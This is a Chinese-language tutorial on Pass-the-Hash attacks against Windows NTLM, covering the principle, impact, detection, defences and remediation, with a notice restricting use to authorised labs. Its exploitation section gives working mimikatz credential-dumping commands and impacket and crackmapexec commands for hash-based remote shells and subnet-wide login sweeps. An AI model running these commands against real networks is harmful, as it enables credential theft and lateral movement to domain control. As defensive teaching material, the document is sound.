写在前面:合法学习边界
Pass-the-Hash 是在目标机器上抓取凭据并横向登录。只能在授权内网靶场进行,禁止在非授权环境使用。
一、漏洞原理
Windows 的 NTLM 认证本质上是拿“密码的哈希”做验证,不需要明文密码。攻击者拿到用户的 NTLM 哈希后,就能以该用户身份登录其他机器。
1
2
| 有哈希 = 可以认证
哈希不一定要先破解成明文
|
这不是“破解”,而是“直接用哈希当凭据”,所以叫 Pass-the-Hash。
前提条件:
1
2
3
| 拿到了某账号的 NTLM 哈希
目标机器 445(SMB) 开放
账号对目标有本地管理员或域管权限
|
二、影响与危害
1
2
3
| 横向移动:一台机器沦陷 → 全内网批量沦陷
权限提升:普通机器 → 域控
清除痕迹前可能已被广泛利用
|
风险等级:高。管理密码复用越严重,影响面越大——一个管理员哈希可能覆盖内网一半以上 Windows。
三、利用 / 复现
第一步:拿到哈希
在已拿下的机器上抓凭据:
1
2
3
| mimikatz
privilege::debug
sekurlsa::logonpasswords
|
输出里 NTLM : <64位hex> 就是目标哈希。
其他途径:
1
2
3
| SAM 文件离线提取
LSASS 内存 dump
域控 NTDS.dit
|
第二步:用哈希横向登录
Linux 侧 impacket:
1
2
3
4
5
| # 有交互 Shell(SMB 服务)
psexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>
# 更隐蔽,走 WMI
wmiexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>
|
批量找“哪些机器能用这个哈希登录”:
1
| crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM哈希>
|
[+] 标记的机器即成功,可加 -x whoami 远程执行命令。
Windows 侧:
1
2
| mimikatz
sekurlsa::pth /user:administrator /domain:xx /ntlm:<NTLM哈希>
|
结果验证
1
2
| 登录成功、拿到 Shell
crackmapexec 标记 [+]
|
四、检测
1
2
3
4
| 同一账号从多台主机同时登录(来源异常)
LSASS 被读取(mimikatz 特征)
大量 4624/4625 登录事件、异常 NTLM 登录
SMB 横向扫描流量特征
|
五、防御
1
2
3
4
| 启用 Credential Guard,隔离 LSASS 凭据
开启 LAPS,避免本地管理员密码复用
限制管理员账号横向使用
账号分离:域管账号不登录普通机器
|
六、修复
1
2
3
4
5
| 对已泄露的哈希:立即重置相关账号密码
强制全内网管理员密码轮换
清理 LSASS 中残留明文凭据
补装补丁,修复可提取凭据的漏洞
复测:确认旧哈希不再能登录其他机器
|
七、小结
PtH 之所以“有哈希就能横着走”,是因为 NTLM 协议本就用哈希做凭据。防御核心是 Credential Guard + LAPS + 账号分离 + 监控异常横向登录。